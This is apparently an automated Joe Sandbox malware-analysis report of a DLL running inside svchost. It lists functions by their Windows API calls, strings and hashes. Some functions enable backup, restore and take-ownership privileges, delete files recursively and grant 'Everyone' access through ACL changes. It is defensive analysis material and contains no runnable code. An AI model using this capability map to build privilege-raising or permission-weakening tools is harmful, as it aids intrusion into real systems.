API ID: AccountDescriptorInitializeLookupNameOpenProcessSecurityToken
String ID: SeBackupPrivilege$SeRestorePrivilege$SeSecurityPrivilege$SeTakeOwnershipPrivilege
API String ID: 3335692634-2346586879
Opcode ID: 77ba5bd388ff40b4371bf50a52ee2e4fcd82e39dd1922ec8d33120bdf3715ce5
Instruction ID: f17e6de010b388972bd12d8c4bff9a771f11c21c80bf64e1c55af5ef8e208469
Opcode Fuzzy Hash: 77ba5bd388ff40b4371bf50a52ee2e4fcd82e39dd1922ec8d33120bdf3715ce5
Instruction Fuzzy Hash: 2D522FB5A40346DBEB00CFA8DCC1B99B7B4EF29324F281461E545AF305E379B495DB22

Function 100168C0 Relevance: 13.7, APIs: 9, Instructions: 186comregistryCOMMON

Download Yara Rule

APIs

LoadTypeLib.OLEAUT32(00000000,?), ref: 10016928
GetUserDefaultLCID.KERNEL32(00000000), ref: 10016937
LHashValOfNameSys.OLEAUT32(00000001,00000000), ref: 10016940
RegisterTypeLib.OLEAUT32(?,00000000,00000000), ref: 100169A6
CLSIDFromProgID.OLE32(00000000,?), ref: 100169E7
CLSIDFromString.OLE32(00000000,?), ref: 100169FA
CoCreateInstance.OLE32(?,00000000,00000017,100303C0,?), ref: 10016A35
CoCreateInstance.OLE32(?,00000000,00000007,100303C0,?), ref: 10016A53
OleRun.OLE32(?), ref: 10016A60

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: CreateFromInstanceType$DefaultHashLoadNameProgRegisterStringUser
String ID:
API String ID: 458303785-0
Opcode ID: 835626ea9bb58b515f5ee88a99728482fa23742bd03eadaa6664e39849a81f62
Instruction ID: faf1546184607136ab57d64cece5919e0ac36eba6c5199816f9c2e72655efcca
Opcode Fuzzy Hash: 835626ea9bb58b515f5ee88a99728482fa23742bd03eadaa6664e39849a81f62
Instruction Fuzzy Hash: 4D51AFB1604315AFD300DFA4DC84D5BB7E8EF88651F50892DF94ADB200E735ED898BA2

Function 10017460 Relevance: 7.7, APIs: 5, Instructions: 213fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,?), ref: 10017539
DeleteFileA.KERNEL32(?), ref: 1001765E
FindNextFileA.KERNEL32(00000000,?), ref: 10017673
FindClose.KERNEL32(00000000), ref: 10017682

Part of subcall function 10017460: RemoveDirectoryA.KERNEL32(?), ref: 10017655

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: FileFind$CloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 196174304-0
Opcode ID: 91b5160bcfb674c458507506b2715be86389562160e226db008ce623798c85ed
Instruction ID: 552d4c3647abc4105ba9ae3bf6b6d2bc2a8edd5d9fe2e990afb58755bcc15526
Opcode Fuzzy Hash: 91b5160bcfb674c458507506b2715be86389562160e226db008ce623798c85ed
Instruction Fuzzy Hash: 5851E636604B490BC328C93898515AB77D7FBC5370F590B2DF96A8B2D0EAB5DD4C8281

Function 1000C616 Relevance: 4.9, APIs: 3, Instructions: 355COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32(?,00000020,?), ref: 1000C71C
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 1000C769
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000), ref: 1000C8EF

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Token$AdjustLookupOpenPrivilegePrivilegesProcessValue
String ID:
API String ID: 658607936-0
Opcode ID: 41cda0a73cc6005fab9fbfabeeb9e39d94b4f4a9657d7f36e5dc5901d6c85a15
Instruction ID: 0dd7d0eedf1dfcb17eef4924b055a5d2d0dcba9510ac3346f19d93d99c687f77
Opcode Fuzzy Hash: 41cda0a73cc6005fab9fbfabeeb9e39d94b4f4a9657d7f36e5dc5901d6c85a15
Instruction Fuzzy Hash: 21B150B5A80309AFFB00CF58DCC2B9A77A4FB19355F184025E509AF385E776B950CB62

Function 10018A30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 113librarywindowloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 10018A42
LoadLibraryA.KERNEL32(?), ref: 10018A4F
wsprintfA.USER32 ref: 10018A66
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 10018A7C

Part of subcall function 10015450: ExitProcess.KERNEL32 ref: 10015465

GetProcAddress.KERNEL32(00000000,00000040), ref: 10018B11
wsprintfA.USER32 ref: 10018B29
MessageBoxA.USER32(00000000,?,DLL ERROR,00000010), ref: 10018B3F

Strings

DLL ERROR, xrefs: 10018A75, 10018B38

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Messagewsprintf$AddressExitHandleLibraryLoadModuleProcProcess
String ID: DLL ERROR
API String ID: 1172160414-4092134112
Opcode ID: d4140263cbc908dfad75c031fa6129b307efe518b42635d2f168bb84646b2da4
Instruction ID: 553bc5d6b23f39755f946b0d3c0022ccafad5cbeda4f990b011c750e4ca76e94
Opcode Fuzzy Hash: d4140263cbc908dfad75c031fa6129b307efe518b42635d2f168bb84646b2da4
Instruction Fuzzy Hash: 483148F16443569BE310CF249C84F9BBBD8EB84324F404928FA05D7241EB75EA49C7A6

Function 1002312E Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,1001D9F2,?,Microsoft Visual C++ Runtime Library,00012010,?,10030030,?,10030080,?,?,?,Runtime Error!Program: ), ref: 10023140
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 10023158
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 10023169
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 10023176

Strings

MessageBoxA, xrefs: 10023152
GetActiveWindow, xrefs: 10023163
GetLastActivePopup, xrefs: 1002316B
user32.dll, xrefs: 1002313B

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 5c9fd7dfec4a09170d9a0d8593f024d7fbd7bce6b17b202def10e411109da893
Instruction ID: fd0aaf80ba0f308214723ea2a3f522d4f300b0169e7ea6311171f2b8fb3d8970
Opcode Fuzzy Hash: 5c9fd7dfec4a09170d9a0d8593f024d7fbd7bce6b17b202def10e411109da893
Instruction Fuzzy Hash: 50018F72601322EFD741DFB59CD8E5A7BE8EB5CBA9702442AF705C2211D730C815DB60

Function 1002273D Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,100302D4,00000001,00000000,00000000,00000100,00000001,00000000), ref: 1002277F
LCMapStringA.KERNEL32(00000000,00000100,100302D0,00000001,00000000,00000000), ref: 1002279B
LCMapStringA.KERNEL32(?,?,?,?,?,?,00000100,00000001,00000000), ref: 100227E4
MultiByteToWideChar.KERNEL32(?,?,?,?,00000000,00000000,00000100,00000001,00000000), ref: 1002281C
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 10022874
LCMapStringW.KERNEL32(?,?,?,00000000,00000000,00000000), ref: 1002288A
LCMapStringW.KERNEL32(?,?,?,00000000,?,?), ref: 100228BD
LCMapStringW.KERNEL32(?,?,?,?,?,00000000), ref: 10022925

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: e4045cab28cedea0e60d01283e8e48a095ef22123145c217ae953d848e924771
Instruction ID: 42de33f632ca94f5bf583ddccd3e24f304ff9241ba6a21dcb4452df8e7b1e97d
Opcode Fuzzy Hash: e4045cab28cedea0e60d01283e8e48a095ef22123145c217ae953d848e924771
Instruction Fuzzy Hash: 2E516532900659FFDF12CF94DC84ADE7BB9FB48794F60452AF914A2160D7328D61DBA0

Function 1001D8CE Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,100159D3), ref: 1001D93B
GetStdHandle.KERNEL32(000000F4,10030030,00000000,00000000,00000000,100159D3), ref: 1001DA11
WriteFile.KERNEL32(00000000), ref: 1001DA18

Strings

Microsoft Visual C++ Runtime Library, xrefs: 1001D9E7
..., xrefs: 1001D98D
<program name unknown>, xrefs: 1001D94B
Runtime Error!Program: , xrefs: 1001D9A1

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: eac71d79ff855dda2bc0804e1014ea7c601fd61ff7c5ade79076aef2f6c15f33
Instruction ID: b708cf82ef9a23b8d7f9c5cbd24cffa09ef8c530c243313089c1c8ab84a73428
Opcode Fuzzy Hash: eac71d79ff855dda2bc0804e1014ea7c601fd61ff7c5ade79076aef2f6c15f33
Instruction Fuzzy Hash: 10319272A00218AFEF25EBA0DD86FE973ADEB45350F900597F641EA140D770EA858B52

Function 10022CB1 Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,100302D4,00000001,?,00000100,00000001,00000000), ref: 10022CF0
GetStringTypeA.KERNEL32(00000000,00000001,100302D0,00000001,?), ref: 10022D0A
GetStringTypeA.KERNEL32(?,?,?,?,?,00000100,00000001,00000000), ref: 10022D3E
MultiByteToWideChar.KERNEL32(?,?,?,?,00000000,00000000,00000100,00000001,00000000), ref: 10022D76
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?), ref: 10022DCC
GetStringTypeW.KERNEL32(?,?,00000000,?,?,?), ref: 10022DDE

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 6720ad969ecb439edae8d57079b013e56ac4b9b93a4232e9ff6cf162a2dd4144
Instruction ID: 8eb78b1d7fc9b3d8db197caa84d895788694caa143555c1971fff7dc556a1c5f
Opcode Fuzzy Hash: 6720ad969ecb439edae8d57079b013e56ac4b9b93a4232e9ff6cf162a2dd4144
Instruction Fuzzy Hash: F141897290026ABFDB11CF94DC85DEE7FA9FB09394F614425FA11EA260D3309960CBA0

Function 1000CA65 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 347COMMON

Download Yara Rule

APIs

GetNamedSecurityInfoA.ADVAPI32(?,00000000,00000004,00000000,00000000,?,00000000,?), ref: 1000CB54
BuildExplicitAccessWithNameA.ADVAPI32(00000000,00000003), ref: 1000CC18
SetEntriesInAclA.ADVAPI32(00000001,00000000), ref: 1000CD2C
SetNamedSecurityInfoA.ADVAPI32(?,?,00000004,00000000,00000000,?,00000000), ref: 1000CDF6

Strings

Everyone, xrefs: 1000CAEB, 1000CAF0

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
